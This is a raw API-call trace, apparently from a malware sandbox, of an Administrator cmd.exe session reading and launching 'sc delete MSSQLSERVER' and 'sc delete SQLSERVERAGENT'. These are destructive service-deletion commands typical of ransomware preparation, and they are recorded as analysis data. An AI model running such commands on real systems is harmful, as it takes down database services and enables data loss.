_Buffer=">") returned 1 [0064.372] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.372] GetFileType (hFile=0x120) returned 0x3 [0064.372] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.372] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.372] GetFileType (hFile=0xb8) returned 0x3 [0064.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.372] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLSERVER\nher\nce\n") returned 1 [0064.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.372] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.372] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLSERVER\nher\nce\n") returned 1 [0064.372] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.372] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLSERVER\nher\nce\n") returned 1 [0064.373] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.373] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.373] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.373] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLSERVER\nher\nce\n") returned 1 [0064.374] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.374] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLSERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SSSQLSERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="QSQLSERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="LQLSERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SLSERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="ESERVER\nher\nce\n") returned 1 [0064.392] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.392] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.392] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="RERVER\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="VRVER\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="EVER\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="RER\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="AR\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="G\nher\nce\n") returned 1 [0064.393] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.393] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.393] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="Eher\nce\n") returned 1 [0064.394] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.394] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.394] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="Ner\nce\n") returned 1 [0064.394] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.394] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.394] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="Tr\nce\n") returned 1 [0064.394] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.394] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.394] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0064.394] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.394] GetFileType (hFile=0xb8) returned 0x3 [0064.394] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.394] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.394] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.394] GetFileType (hFile=0x120) returned 0x3 [0064.394] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLSERVERAGENT\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLSERVERAGENT\n", lpUsedDefaultChar=0x0) returned 26 [0064.394] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x19, lpOverlapped=0x0) returned 1 [0064.394] GetProcessHeap () returned 0x1b0000 [0064.394] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d4630 [0064.394] GetProcessHeap () returned 0x1b0000 [0064.394] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4630 | out: hHeap=0x1b0000) returned 1 [0064.395] GetProcessHeap () returned 0x1b0000 [0064.395] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0064.395] GetProcessHeap () returned 0x1b0000 [0064.395] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.395] GetProcessHeap () returned 0x1b0000 [0064.395] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0064.395] GetConsoleOutputCP () returned 0x1b5 [0064.395] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.395] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.396] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa90 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0064.396] SetErrorMode (uMode=0x0) returned 0x1 [0064.396] SetErrorMode (uMode=0x1) returned 0x0 [0064.396] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.396] SetErrorMode (uMode=0x1) returned 0x1 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0064.396] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.396] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.396] GetProcessHeap () returned 0x1b0000 [0064.396] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.397] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.397] GetProcessHeap () returned 0x1b0000 [0064.397] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.397] GetProcessHeap () returned 0x1b0000 [0064.397] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.397] GetProcessHeap () returned 0x1b0000 [0064.397] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.397] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.397] GetLastError () returned 0x2 [0064.397] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.397] GetLastError () returned 0x2 [0064.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.397] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.397] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.398] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.398] GetLastError () returned 0x2 [0064.398] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.398] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.398] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.398] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.398] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.398] GetProcessHeap () returned 0x1b0000 [0064.398] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.398] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.398] GetProcessHeap () returned 0x1b0000 [0064.398] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xaa) returned 0x1c9180 [0064.398] GetProcessHeap () returned 0x1b0000 [0064.398] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xaa [0064.398] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLSERVERAGENT") returned 1 [0064.399] GetProcessHeap () returned 0x1b0000 [0064.399] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.399] 